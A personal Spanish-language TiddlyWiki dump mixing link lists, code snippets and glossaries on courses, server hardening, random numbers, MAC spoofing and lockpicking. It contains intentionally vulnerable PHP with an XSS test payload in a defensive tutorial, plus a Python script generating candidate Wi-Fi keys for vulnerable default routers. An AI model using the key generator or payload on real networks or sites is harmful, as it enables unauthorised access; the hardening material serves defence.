<part descripcion>
Todo lo relacionado con el aprendizaje: cursos, tutoriales, recursos online, etc.
</part>
! Enlaces
<part enlaces>
!! Cursos online
!!! Cursos de temática diversa
* Buscador de cursos online: http://www.class-central.com/
* Coursera: https://www.coursera.org/
* edX (cursos de universidades): https://www.edx.org/courses
* Udacity (cursos de todos los niveles): https://www.udacity.com/
* Canvas Network: https://www.canvas.net/

!!! Open Course Ware (OCW)
* OCW Consortium: http://www.ocwconsortium.org/
** Cursos en español: http://www.ocwconsortium.org/en/courses/browselanguage/browse/language/Spanish
** Cursos en inglés: http://www.ocwconsortium.org/en/courses/browselanguage/browse/language/English
* Massachusetts Institute of Technology (MIT): http://ocw.mit.edu/courses/find-by-topic/
* Universidad Politécnica de Madrid (UPM): http://ocw.upm.es/
* Universidad de Murcia (UM): http://ocw.um.es/ingenierias
* Universidad Carlos III de Madrid (UC3M): http://ocw.uc3m.es/

!!! Cursos de electrónica y microinformática
* Adafruit Learning: http://learn.adafruit.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Introducción
El siguiente método coge una cadena de texto con un XML, construye un documento XML, y lo vuelve a convertir a String usando un formato legible.

!Código
<code java>
import java.io.*;
import javax.xml.parsers.*;
import javax.xml.transform.*;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import org.w3c.dom.Document;
import org.xml.sax.*;

public class Util{
    
    public static void main(String args[]) {
        //Ejemplo de uso
        String xml = "<root><element1>123</element1><element2 property=\"value\"><element2.1>Content</element2.1></element2></root>";
        System.out.println(formatXml(xml));
    }
    
    public static String formatXml(String unformattedXml) {
        try {
            final Document document;
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            InputSource is = new InputSource(new StringReader(unformattedXml));
            document = db.parse(is);
            
            Writer out = new StringWriter();
            
            TransformerFactory tfactory = TransformerFactory.newInstance();
            Transformer serializer;
            serializer = tfactory.newTransformer();
            serializer.setOutputProperty(OutputKeys.INDENT, "yes");
            //serializer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");

            serializer.transform(new DOMSource(document), new StreamResult(out));
            
            return out.toString();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}
</code>
<<showtoc>>
! Descripción
<part descripcion>
Técnicas para el fortificado y/o bastionado de servidores, para evitar los ataques informáticos o hacerlos resistentes a los mismos.

Todas las técnicas han sido extraidas de los enlaces del final del artículo. A los autores de dichos enlaces corresponde el crédito y tienen toda mi admiración :)
</part>
! 1. Técnicas generales
Técnicas para todo tipo de servidores para evitar vectores de ataque concretos

!! 1.1. SQL injection
!!! 1.1.1. Introducción
El ataque SQL Injection (SQLi o inyección SQL) consiste en conseguir que un servidor ejecute una consulta SQL alterada para que o bien realice operaciones peligrosas en la base de datos, o para modificar el resultado obtenido.

Por ejemplo, si el login de una página se realiza haciendo una consulta a la base de datos usando el nombre de usuario y contraseña suministrado en un formulario, un atacante querría introducir texto en los campos del formulario, de tal manera que al ser integrados en la consulta SQL, devolviera un login de usuario válido. Esto le permitiría saltarse completamente nuestro sistema de login.

La forma más habitual de evitar estos ataques consiste en validar muy bien todas las cadenas de texto que se vayan a utilizar en consultas SQL, o "escapar" el texto, para evitar que produzcan problemas.

!!! 1.1.2. Evitar inyección SQL en PHP
Un caso muy típico en PHP es el de una consulta SQL que coge un valor ID numérico para extraer cierta información de la base de datos. Ese ID viene de un parámetro de la petición y se pasa tal cual a la consulta. Si algún malandrín se aprovecha de ese parámetro e introduce código SQL, puede hacer de todo y nada bueno.

Veamoslo mejor con un ejemplo. Supongamos que tenemos una página en PHP que muestra noticias almacenadas en BBDD. Por ejemplo, para mostrar la noticia con un ID 123 se le realiza la siguiente petición: {{{news.php?new=123}}}. El código de la página es el siguiente:
<code php>
<?php
    $newid = $_GET['new'];
    
    $link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password');
    
    mysql_select_db('news_uptodate');
    $query = "SELECT textnew FROM newsforindex WHERE newid=''";
    $result = mysql_query($query);
    
    mysql_free_result($result);
    mysql_close($link");
?>
</code>

Un usuario malintencionado podría enviar una inyección SQL en vez del {{{123}}} del ejemplo. Así que lo que tendríamos que hacer para solucionar el problema es comprobar que el parámetro sea un número. El código anterior se podría reescribir de la siguiente manera:
<code php>
<?php
    $newid = $_GET['new'];
    if(is_numeric($newid) == TRUE && $newid > 0) {    
        $link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password');
        
        mysql_select_db('news_uptodate');
        $query = "SELECT textnew FROM newsforindex WHERE newid='$newid'";
        $result = mysql_query($query);
        
        mysql_free_result($result);
        mysql_close($link");
    } else {
        echo "Alerta de malandrin!";
    }
?>
</code>

En caso de que el parámetro fuera alfanumérico, esto no nos serviría, y tendríamos que usar una función que elimine las comillas y otros símbolos peligrosos. El código quedaría así:
<code php>
<?php
    $newid = $_GET['new'];
    
    $link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password');
    
    mysql_select_db('news_uptodate');
    $query = "SELECT textnew FROM newsforindex WHERE newid='".mysql_real_escape_string($newid)."'";
    $result = mysql_query($query);
    
    mysql_free_result($result);
    mysql_close($link");
?>
</code>

!! 1.2. Cross Site Scripting (XSS)
!!! 1.2.1. Evitar XSS en PHP
Veamos este tema otra vez con un caso típico: una búsqueda que muestra primero la cadena buscada y después los resultados. Una forma muy sencilla de mostrar esto sería mediante el siguiente PHP:
<code php>
<?php
    $word = $_GET['texto'];
    echo $word;
    
    //realiza la búsqueda y muestra resultados
?>
<code/>
Si un usuario malicioso ejecutase una consulta como la siguiente:
{{{
busqueda.php?texto=%3Cscript%3Ealert%28%27SEGINFORMATICA%27%29%3C%2Fscript%3E
}}}
produciría que se mostrase una ventana de alert con un mensaje, ¡pero también podrían hacer cosas peores!

Para evitarlo habría que reescribir el código anterior de la siguiente manera:
<code php>
<?php
    $word = $_GET['texto'];
    echo htmlentities($word);
    
    //realiza la búsqueda y muestra resultados
?>
<code/>

!! 1.3. Inclusión (remota y local) de ficheros
!!! 1.3.1. Evitar LFI/RFI en PHP


! 2. Bastionado de servidores
Técnicas aplicadas a servidores concretos. Son forma prácticas de implementar las técnicas generales para ciertos tipos de servidores concretos.

<part enlaces>
! A. Enlaces
!! A.1. Técnicas generales
* All input is evil:
## http://www.seginformatica.net/2012/04/all-input-is-evil-i-de-iii.html
## http://www.seginformatica.net/2012/05/all-input-is-evil-ii-de-iii.html

!! A.2. Bastionado de servidores
* Bastionado de Apache Web Server:
## http://www.securityartwork.es/2012/02/22/bastionado-de-un-servidor-web-apache-i/
## http://www.securityartwork.es/2012/04/11/bastionado-de-un-servidor-web-apache-ii/
* Bastionado de Tomcat:
## http://www.securityartwork.es/2012/04/12/bastionado-de-apache-tomcat-i/
## http://www.securityartwork.es/2012/04/17/bastionado-de-apache-tomcat-ii/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre el arte de la fotografía, y las técnicas asociadas, desde los fundamentos de la fotografía clásica, hasta las cámaras digitales más modernas.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Fotograf%C3%ADa

* ''Blogs y páginas web interesantes:''
** Digital Photography School: http://digital-photography-school.com
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Sistema operativo libre, abierto y gratuito, de la familia [[BSD]], inspirado en la versión 4.4. Aunque no posee licencia UNIX, es completamente compatible con el estándar POSIX. Una de las peculiaridades de FreeBSD es que tiene una capa de compatibilidad con [[Linux]], lo que le permite ejecutar algunas aplicaciones de este sistema operativo.

Esta versión de [[BSD]] está orientada al alto rendimiento y a la facilidad de uso para el usuario final. También está pensado para ser un puente de [[Linux]] a [[BSD]].
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Freebsd
* Página principal: http://www.freebsd.org/es/

!! Distribuciones
* Desktop BSD: http://es.wikipedia.org/wiki/DesktopBSD
* PC BSD: http://www.pcbsd.org/
** Articulo en la wikipedia: http://es.wikipedia.org/wiki/PC-BSD
* ~FreeSBIE (live): http://es.wikipedia.org/wiki/FreeSBIE
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Como hacerlo, como apagarlo y otros asuntos relacionados con reacciones químicas exotérmicas de oxidación.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Fuego

* ''Curiosidades históricas:''
** Fuego griego: http://www.makerwiki.com/index.php/Fuego_griego
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre la ciencia de la Física en todas sus vertientes.
</part>
! Enlaces
<part enlaces>
!! Información
* Serie "Física cuántica sin fórmulas": http://eltamiz.com/2007/09/04/cuantica-sin-formulas-preludio/
!! Física para informática
* Physics engines for dummies: http://www.wildbunny.co.uk/blog/2011/04/06/physics-engines-for-dummies/
* Colisiones, cálculo matricial y cinemática: http://pfirth.co.uk/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Son las siglas de [[Google Application Engine|http://code.google.com/intl/es-ES/appengine/]]. Es una plataforma de desarrollo de aplicaciones web hecha por Google. Soporta los lenguajes [[Python]] y [[Java]].

[[GAE IDs]]

Más información:
http://passion4java.blogspot.com/2010/06/google-appengine-hello-world-example.html

Tutorial:
http://www.genbetadev.com/programacion-en-la-nube/nuestra-primera-aplicacion-con-google-app-engine-python
! ID de aplicaciones de prueba
|ID |Descripción |h
|[[asf-ping|http://asf-ping.appspot.com]] |Aplicación Ping! para Android (server side) |
|[[erre-punto|http://erre-punto.appspot.com]] |Utilidades y pruebas personales (no público) |
|[[errepunto-test1|http://errepunto-test1.appspot.com]] |Prueba de aplicaciones |
|[[virtual-ruben|http://virtual-ruben.appspot.com]] |Versión online de Virtual Ruben |
Son las siglas en inglés de Graphic User Interfaz o, en español, Interfaz Gráfica de Usuario. Se refiere a el conjunto de técnicas para poder comunicar el programa y los usuarios mediante elementos gráficos y el teclado y ratón. Un ejemplo son las ventanas con botones.
!!Generación aleatoria de colores en Python^^[[<editar>|$1]]^^
Extraido de http://martin.ankerl.com/2009/12/09/how-to-create-random-colors-programmatically/ 

<code python>
def gen_color():
    """generator for getting n of evenly distributed colors using
    hsv color and golden ratio. It always return same order of colors
 
    :returns: RGB tuple
    """
    import colorsys
    golden_ratio = 0.618033988749895
    h = 0.22717784590367374
 
    while 1:
        h += golden_ratio
        h %= 1
        HSV_tuple = [h, 0.95, 0.95]  # this defines how "deep" are the colors
        RGB_tuple = colorsys.hsv_to_rgb(*HSV_tuple)
        yield map(lambda x:str(int(x * 256)), RGB_tuple)
</code>
! Introducción
Muchos routers wifi traen contraseñas débiles generadas usando como base los códigos SSID y BSSID por defecto. El siguiente script genera un conjunto de posibles contraseñas para ciertos routers vulnerables.

Los BSSID vulnerables típicamente tienen la forma {{{WLAN_XX}}} ó {{{JAZZTEL_XX}}}

! Código fuente
<code python>
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys

ROUTERS = {
    "0060B3" : ["Z001349", "Z-com"],
    "000138" : ["X000138", "Xavi 7768r"],
    "0003C9" : ["C0030DA", "Comtrend 535"],
    "00A0C5" : ["Z001349", "Zyxel 650HW/660HW"],
    "001638" : ["C0030DA", "Comtrend 536+"],
    "001349" : ["Z001349", "P-660HW-D1"],
    "0002CF" : ["Z0002CF", "ZyGate"],
    "001915" : ["C0030DA", "Comtrend"],
    "001A2B" : ["E001D20", "Comtrend"],
}

def getRouter(mac):
    """Get data for router"""
    mac = mac.upper().replace(" ", "").replace(":", "")
    vendor = mac[:6]
    if vendor in ROUTERS:
        return ROUTERS[vendor]
    else:
        return None


def getEssidTail(essid):
    """Get last part of essid if is a valid essid in the form: WLAN_xx"""
    essid = essid.upper().replace(" ", "")
    return essid[-2:]    


def getKeys(mac, essid):
    """Get keys for selected network or 'None' if network is not valid"""
    router_data = getRouter(mac)
    if router_data is None:
        print "Invalid mac"
        return None
    prefix = router_data[0]
    
    postfix = getEssidTail(essid)
    if postfix is None:
        print "Invalid essid"
        return None
    
    keys = []
    for i in xrange(0, 16**4):
        middle = "%04X" % i
        key = prefix+middle+postfix
        keys.append(key)
    
    return keys

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print "Usage:\n"
        print "python %s <mac_router> <essid name>" % sys.argv[0]
    else:
        mac = sys.argv[1]
        essid = sys.argv[2]
        keys = getKeys(mac, essid)
        print "\n".join(keys)
</code>

! Referecias
! Introducción
Las siglas CMWC significan Complementary Multiplication With Carry, y es una forma sencilla y rápida de generar números pseudoaleatorios.


http://en.wikipedia.org/wiki/Multiply-with-carry

! Código en [[Python]]
Extraido de http://code.activestate.com/recipes/576707/
<code python>
import random

class CMWC(random.Random):
    'Long period random number generator: Complementary Multiply with Carry'
    # http://en.wikipedia.org/wiki/Multiply-with-carry

    a = 3636507990
    logb = 32
    b = 2 ** logb
    r = 1359

    def _gen_word(self):
        i = self.i
        xc, self.c = divmod(self.a * self.Q[i] + self.c, self.b)
        x = self.Q[i] = self.b - 1 - xc
        self.i = 0 if i + 1 == self.r else i + 1
        return x

    def getrandbits(self, k):
        while self.bits < k:
            self.f = (self.f << self.logb) | self._gen_word()
            self.bits += self.logb
        x = self.f & ((1 << k) - 1)
        self.f >>= k;  self.bits -= k
        return x

    def random(self, RECIP_BPF=random.RECIP_BPF, BPF=random.BPF):
        return self.getrandbits(BPF) * RECIP_BPF

    def seed(self, seed=None):
        seeder = random.Random(seed)
        Q = [seeder.randrange(0x100000000) for i in range(self.r)]
        c = seeder.randrange(0x100000000)
        self.setstate((0, 0, 0, c, Q))

    def getstate(self):
        return self.f, self.bits, self.i, self.c, tuple(self.Q)

    def setstate(self, (bits, f, i, c, Q)):
        self.f, self.bits, self.i, self.c, self.Q = f,  bits, i, c, list(Q)


if __name__ == '__main__':
    prng = CMWC(134123413541344)
    for i in range(20):
        print prng.random()
    print
    for i in range(20):
        print normalvariate(mu=5.0, sigma=2.2)
</code>

Implementación más sencilla usando Mersenne Twister como base
<code python>
def cmwc_random(seed=None, a=3636507990, b=2**32, logb=32, r=1359):
    seeder = random.Random(seed)
    Q = [seeder.randrange(b) for i in range(r)]
    c = seeder.randrange(b)
    f = bits = 0
    for i in itertools.cycle(range(r)):
        t = a * Q[i] + c
        c = t & (b - 1)
        x = Q[i] = b - 1 - (t >> logb)
        f = (f << logb) | x;  bits += logb
        if bits >= 53:            
            yield (f & (2 ** 53 - 1)) * (2 ** -53)
            f >>= 53;  bits -= 53
</code>
!Generador simple de llamadas a {{{exp}}} e {{{imp}}}:
<html>
    <form name="f" id="f">
    <table style="width: 100%">
        <tbody>
            <tr>
                <td>Fichero: </td>
                <td><input type="text" name="fichero" id="fichero" size="100%" value="c:\temp\data.dmp"/></td>
            </tr>
            <tr>
                <td>BBDD origen: </td>
                <td><input type="text" name="bbdd_origen" id="bbdd_origen" size="100%" value="user/pass@HUERVA"/></td>
            </tr>
            <tr>
                <td>BBDD destino: </td>
                <td><input type="text" name="bbdd_destino" id="bbdd_destino" size="100%" value="user/pass@XE"/></td>
            </tr>
            <tr>
                <td>Esquema origen</td>
                <td><input type="text" name="esquema_origen" id="esquema_origen" size="100%" value="SANXXX"/></td>
            </tr>
            <tr>
                <td>Esquema destino</td>
                <td><input type="text" name="esquema_destino" id="esquema_destino" size="100%" value="SANXXX"/></td>
            </tr>
            <tr>
                <td colspan="2" align="center"><input type="button" name="generar" id="generar" value="Generar" onclick='javascript:(function(){document.getElementById("resultado").innerHTML="exp userid="+document.getElementById("bbdd_origen").value+" "+"file="+document.getElementById("fichero").value+" "+"where owner="+document.getElementById("esquema_origen").value+"\n"+"imp userid="+document.getElementById("bbdd_destino").value+" "+"file="+document.getElementById("fichero").value+" "+"fromuser="+document.getElementById("esquema_origen").value+" "+"touser="+document.getElementById("esquema_destino").value;return false;})()' /></td>
            </tr>
            <tr>
                <td colspan="2"><pre width="100%" name="resultado" id="resultado" align="left">Presione "Generar"</pre></td>
            </tr>
        </tbody>
    </table>
    </form>
</html>
!!Titulo ^^[[<editar>|$1]]^^
Se puede generar una dirección MAC aleatoria con el siguiente comando:
<code bash>
MAC=`echo -n 00; hexdump -n 5 -v -e '/1 ":%02X"' /dev/urandom;`
</code>
Después se puede asignar de la siguiente manera:
<code bash>
ifconfig wlan0 down
ifconfig wlan0 hw ether $MAC
ifconfig wlan0 up
</code>
Por último sólo habría que reiniciar el {{{network-manager}}}
<code bash>
/etc/rc.d/network-manager restart
</code>
!!! Referencias:
* http://www.cyberhades.com/2010/10/15/genera-una-mac-aleatoria/#comments
* http://shreyassiravara.wordpress.com/2010/08/02/start-your-computer-with-a-random-mac-address/
!Descripción
<part descripcion>
Artículos sobre gente relevante por su gran trabajo: científicos, humanistas, músicos, etc. Si buscas "famosillos" ya te estás yendo por donde has venido...
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre la ciencia que estudia los materiales que componen la Tierra.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Articulo de la Wikipedia: http://es.wikipedia.org/wiki/Geolog%C3%ADa
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Según la [[wikipedia|http://es.wikipedia.org/wiki/Geometr%C3%ADa]]: //"La geometría, del griego geo (tierra) y metrón (medida), es una rama de la matemática que se ocupa de las propiedades de las figuras geométricas en el plano o el espacio, como son: puntos, rectas, planos, polígonos, poliedros, paralelas, perpendiculares, curvas, superficies, etc."//
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Geometr%C3%ADa
** Categoría de artículos: http://es.wikipedia.org/wiki/Categor%C3%ADa:Geometr%C3%ADa
** Foro de aficionados a la geometría: http://www.forogeometras.com/

* ''Artículos y cursos:''
** Curso del MEC: http://concurso.cnice.mec.es/cnice2006/material098/geometria/index.htm
** Geometría no euclidiana: http://soko.com.ar/matem/geom_no_eu.htm
** Geometría en escolar.com: http://www.escolar.com/menugeom.htm
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
//Extraido de// http://www.lockpicking101.com/viewtopic.php?f=2&t=1069

''angled cuts:'' Cuts which are made at different possible angles (usually right, left, and center) to the length of the key blade.
''anti-drill ball bearings/lunes/rods:'' Ball bearings which are built into a cylinder in front of the first pin chamber to prevent drilling of the shear line(s).
''backplate:'' A plate on the inside of a door through which the cylinder connecting screws and tailpiece is passed.
''backset:'' The horizontal distance from the edge of a door to the center of a lockset.
''barrel key:'' A key with a bit projecting from a hollow cylindrical shaft.
''bicentric cylinder:'' A lock cylinder, usually of the pin tumbler type, that has two plugs and two sets of pin chambers instead of one.
''bi-lock:'' A pin tumber cylinder lock consisting of two parallel rows of pin tumblers and two sidebars operated by a U shaped key.
''bit key:'' A key with a bit projecting from a solid cylindrical shaft. The bit has cuts to bypass the wards or operate levers in the correct lock.
''bit key lock:'' A warded or lever lock that uses bit keys.
''bitting:'' A cut, or series of cuts, on the bit or blade of a key.
''blade:'' The portion of the key that is inserted into the lock.
''blank:'' A key before any cuts have been made.
''bolt:'' The part which is moved into a locked or unlocked position.
''bottom pin (tumblers):'' Cylinder pins usually made of brass used in setting combinations pin tumbler cylinders. Varied in length and tapered at one end allows them to sit in the "v" cuts made in keys. When the proper key is inserted, the pins form a shearline allowing the plug of the lock to be turned. (Since lock orientation can vary by region, the alternate term "key pin" is preferred.)
''bow:'' The handle of the key.
''british standard lever lock, bs lock:'' this differs from a normal lever lock in that, it must have at least 1000 key differs, it must have anti drill plate, it must have anti saw rollers in bolt, it must be tested against crow bar attack to minimum standard, it must have a security curtain, it must have anti pick defences, ie anti pick notches or false gates, it must meet many other tests, but in short its tougher to pick and tougher to drill.
''broaching:'' Part of the cross section of a keyway where metal has been removed.
''bypass:'' A method of opening a lock in which the part of the mechanism that is directly operated by the key is by-passed. Carding, shimming, etc. are examples.
''by-pass tool:'' A device that neutralizes the security of a locking device, or its application hardware, often taking advantage of a design weakness
''cabinet lock:'' A relatively small type of lock designed to be used on drawers, cabinets, pieces of furniture, or thin doors.
''cam:'' The part of a lock or cylinder which activates the bolt or latch as the key is turned. The cam may also act as the bolt.
''cam lock:'' A lock that has an attached cam that serves as the lock's bolt. Cam locks are often used on cabinets, file cabinets and drawers.
''case:'' The housing or body of a lock.
''case ward:'' Protrusions that stick out of the sides of the keyway to allow entry of only the correct type of key blank.
''change index:'' The point on a key changeable combination lock dial ring to which the old and new combinations must be dialed when changing the combination.
''change key:'' The key that operates one lock in a masterkeyed system.
''changeable lever:'' An adjustable lever consisting of a detent and sweep lever. The deten lever is unlocked from the sweep lever with a change key.
''clevis:'' A metal link for attaching a chain to a padlock.
''clover leaf cam:'' In certain types of mortise locks, a cylinder cam that has three lobes, instead of one, to activate the boltwork of the lock.
''code:'' A series of numbers or digits on a key or lock that specifies or references the particular cuts of the key to operate a lock.
''code key machine:'' A device for making a first key when its cut depth numbers and its spacing are known.
''Comb pick:'' A comb-shaped tool which is used to lift the pin tumblers of a cylinder above their normal shear line.
''control key:'' A key used to remove the core from an interchangeable core cylinder.
''control shear line:'' The shear line which allows operation of the control lug of an interchangeable core.
''control sleeve:'' The part of an interchangeable core retaining device which surrounds the plug.
''cross-bore:'' A hole drilled into the face of a door where a bored or interconnected lockset is to be installed.
''cut depth number:'' A short number, usually having only one digit, which is used as a shorthand way to represent a cut depth. eg. a number 3 cut might stand for .290 of an inch.
''curtain:'' found on lever locks, the curtain is a security barrel that restricts access to the lever pack and acts as the bolt thrower.
''curtain pick:'' this is a form of specialist 2 in 1 pick devised to pick lever locks fitted with a curtain, it enables you to put tension on the curtain/bolt thrower and have access to lift each lever in turn .
''cuts:'' A cut, or series of cuts, on the bit or blade of a key.
''cylinder key:'' A key for use with pin tumbler and wafer tumbler cylinder locks.
''cylindrical lockset:'' A bored lockset whose latch or bolt locking mechanism is contained in the portion installed through the cross-bore.
''deadbolt:'' A lock bolt, usually rectangular, that has no spring action, and that becomes locked against end pressure when fully projected.
''deadlatch:'' A lock with a beveled latch bolt that can be automatically or manually locked against end pressure when projected.
''deadlock:'' A lock that projects a deadbolt.
''deadlocking:'' Pertaining to any feature which, when fully engaged, resists attempts to move the latch or bolt in the unlocking direction through direct pressure.
''deadlocking latch:'' A latchbolt with a deadlocking mechanism.
''depth:'' The depth of a cut is measured from the bottom of the blade up to the bottom of a cut. Depths are numbered starting with #0 (or sometimes #1) as the highest depth.
''depth key:'' A special key that enables a locksmith to cut blanks made from a particular lock according to a key code.
''double-acting lever tumbler:'' One which must be lifted a precise amount, neither too little nor too much to allow movement of a bolt.
''double cylinder:'' Pertaining to a lock with two keyed cylinders.
''double cylinder deadlock:'' A deadbolt lock whose bolt may be operated by a key from either side.
''driver (driver pin):'' Any pin in a pin stack that sits adjacent to a spring. In North American locks, these are commonly called "top pins".
''Euro Profile Cylinder :'' The shape of a standard lever lock keyway in central Europe is such so that manufacturers use the same lever lock lock-case as a basis for the Euro lock cylinder. The cylinder is normally fitted with the pins "upside" down, to allow the cam on the cylinder to reach the lever lock mechanism.
Picture (Thanks to Chubby)
''flat steel key:'' A key which is completely flat on both sides, usually used for warded or lever tumbler locks.
''follower:'' A small cylindrical object that is pushed behind conventional pin-tumbler cylinder cores on removal for use of rekeying. The follower is used to keep the top pins and springs in place, meaning you don't have to re-load the pins and springs every time you pull the plug out. (Thanks to Mutzy)
''full mortise:'' Pertaining to a method of installation in which only the face plate and trim is exposed. The lock case is installed in a pocket in the door or drawer.
''grooves:'' Long narrow milled out areas along the sides of the blade to allow the blade to bypass the wards in the keyway.
''hard plate:'' also refered to as anti drill plate, this is a hardened steel plate placed over the drill vulnerable areas of a lock, an hss bit will not drill this, instead a hard plate drill must be used.
''hasp:'' A hinged metal strap designed to be passed over a staple and secured in place.
''heel & toe locking:'' Describes a padlock which has locking dogs at both the heel and toe of the shackle.
''heel (of a padlock shackle):'' The part of a padlock shackle which is retained in the case when in the unlocked position.
''hollow post key:'' A key with a bit projecting from a hollow cylindrical shaft.
''hook bolt:'' A lock bolt shaped in the general outline of a hook. Normally used on sliding doors or where spreading of the frame and door is a possible attack.
''impressioning:'' A means of fitting a key directly to a locked cylinder by manipulating a blank in the keyway and cutting the blank where the tumlbers have made marks.
''impressioning kits for bs locks:''these kits allow you to take an impression of a lever lock using a reader key and plastacine , you decode the impression and build a working key using the make up key and pin set.
''interconnected lockset:'' A lockset whose trim provides a means of simultaneous retraction of two or more bolts which may also be operated independently.
''jamb:'' The inside vertical face of a doorway.
''key code:'' A series of numbers or digits on a key or lock that specifies or references the particular cuts of the key to operate a lock.
''key pin:'' Any pin that makes contact with the key when inserted. Commonly referred to as "bottom pins" in North American locks.
''keyway:'' The part of the plug where you insert the key.
''keyway grooves:'' Long narrow milled out areas along the sides of the blade to allow the blade to bypass the wards in the keyway.
''latch:'' A mechanical device which automatically keeps a door closed until a deliberate action is used to retract it.
''lever lock:'' Lock with levers that are each lifted to the correct level by a bit key or flat metal key to enable the lock to operate.
''lever pack:'' A set of lever tumblers.
''lever tumbler:'' Usually a flat, spring-loaded tumbler which pivots on a post.
''lock:'' Any device which prevents access or use by requiring special knowledge or equipment.
''Lock Picking 101:'' This defines as either Lock Picking Beginners Class or Lock Picking can be your worse nightmare. (thanks to macaba for that addition.)
''locksmith:'' A person with the knowledge and ability to select, install, service and bypass all the components of an electrical or mechanical lock.
''lower pins:'' The pins of a lock that contact the cuts on the key. Also called bottom pins.
''MACS:'' Maximum Adjacent Cut Specification. Specified by the lock manufacturer, this refers to the greatest allowable difference between adjacent pin sizes. This is done to prevent possible key malfunction that could occur as a result of steep ramps on a key.
''mortise cylinder:'' A type of lock cylinder designed to fit into a mortise lock and operate the mechanism. Typically these cylinders are threaded and screw into the lock case.
''mortise lock:'' A type of lock where the case of the lock is inside a mortised out pocket in the edge of the door.
''pin stack:'' The combination of a lower pin sitting beneath an upper pin. In master keyed locks, additional master pins may be located between the lower and upper pins.
''plug:'' The part of the lock that you put the key into, and which turns to operate the lock.
''pre-assembled lockset:'' A lock designed to be installed into a cutout in the edge of a door. The lock body and most or all of its trim need no further assembly other than securing it to the door.
''rim lock:'' A lock or latch typically mounted on the surface of a door or drawer.
''shackle:'' The part of a padlock which passes through an opening in an object or fits around an object and is ultimately locked into the case.
''shear line:'' The dividing line between the plug and the shell (the height to which the tops of the lower pins must be raised to open the lock).
''shell:'' The outer part of the lock that surrounds the plug.
''shimming:'' A process by which a lock can be dissasembled without use of an operating key.
''shoulder:'' The edge of the key that touches the face of the lock to define how far the key is inserted into the lock.
''single-acting lever tumbler:'' A lever tumbler which must be moved a minimum distance to allow travel of a bolt, but cannot be moved so far as to restrict travel of the bolt.
''skeleton key:'' Any non-cylinder key whose bit, blade, and/or post is cut away enough to allow it to enter and turn in locks with different ward arrangements
''spool pin:'' A pin that has a groove cut around it's periphery. The groove is intended to catch at the shear line as a deterrent to picking.
''tip:'' The very end of part of the key that you stick into the lock first.
''toe (of a shackle):'' That part of the shackle which may be removed from the padlock body.
''top master key:'' The highest level masterkey that fits all the locks in a multi-level masterkeyed system.
''top pin:'' Common name for a "driver pin". This is the pin in a pin stack that sits closest to the spring.
''tubular key cylinder:'' A cylinder whose tumblers are arranged in a circle and which is operated by a tubular key.
''tubular lockset:'' A bored lockset whose latch or bolt locking mechanism is contained in the component installed into the edge bore.
''UL listed:'' Listed in a directory as having passed specific Underwriters Laboratories testing.
''wafer:'' A wafer is akin to a pin in a pin tumbler lock. They are found in wafer locks, which are the kind of locks you'll find on filing cabinets, desk drawers, display cases, cheap fire safes, and car locks. They work differently from pin tumbler locks in that a given wafer is moved in one direction by a spring on its side, and will protrude through either the top or bottom of the sheer line unless it is aligned properly with the key. Because of this, the locks can be made double-sided so a key can be inserted either way, and every other wafer springs in the opposite direction. (thanks Raccoon)
''ward:'' Protrusions that stick out of the sides of the keyway to restrict entry to the correct type of key blank.
cceso a servicios de Google por línea de comandos. Permite acciones como postear en Blogger, añadir citas a Google Calendar o buscar fotos en Picasa. Está hecho en [[Python]]

http://code.google.com/p/googlecl/
/***
|Name|GridPlugin|
|Source|http://www.TiddlyTools.com/#GridPlugin|
|Documentation|http://www.TiddlyTools.com/#GridPluginInfo|
|Version|2.0.7|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1.3|
|Type|plugin|
|Description|Display/edit slices, sections and fields in a grid (table) for a 'birds-eye' view of your document|
!!!!!Documentation
>see [[GridPluginInfo]]
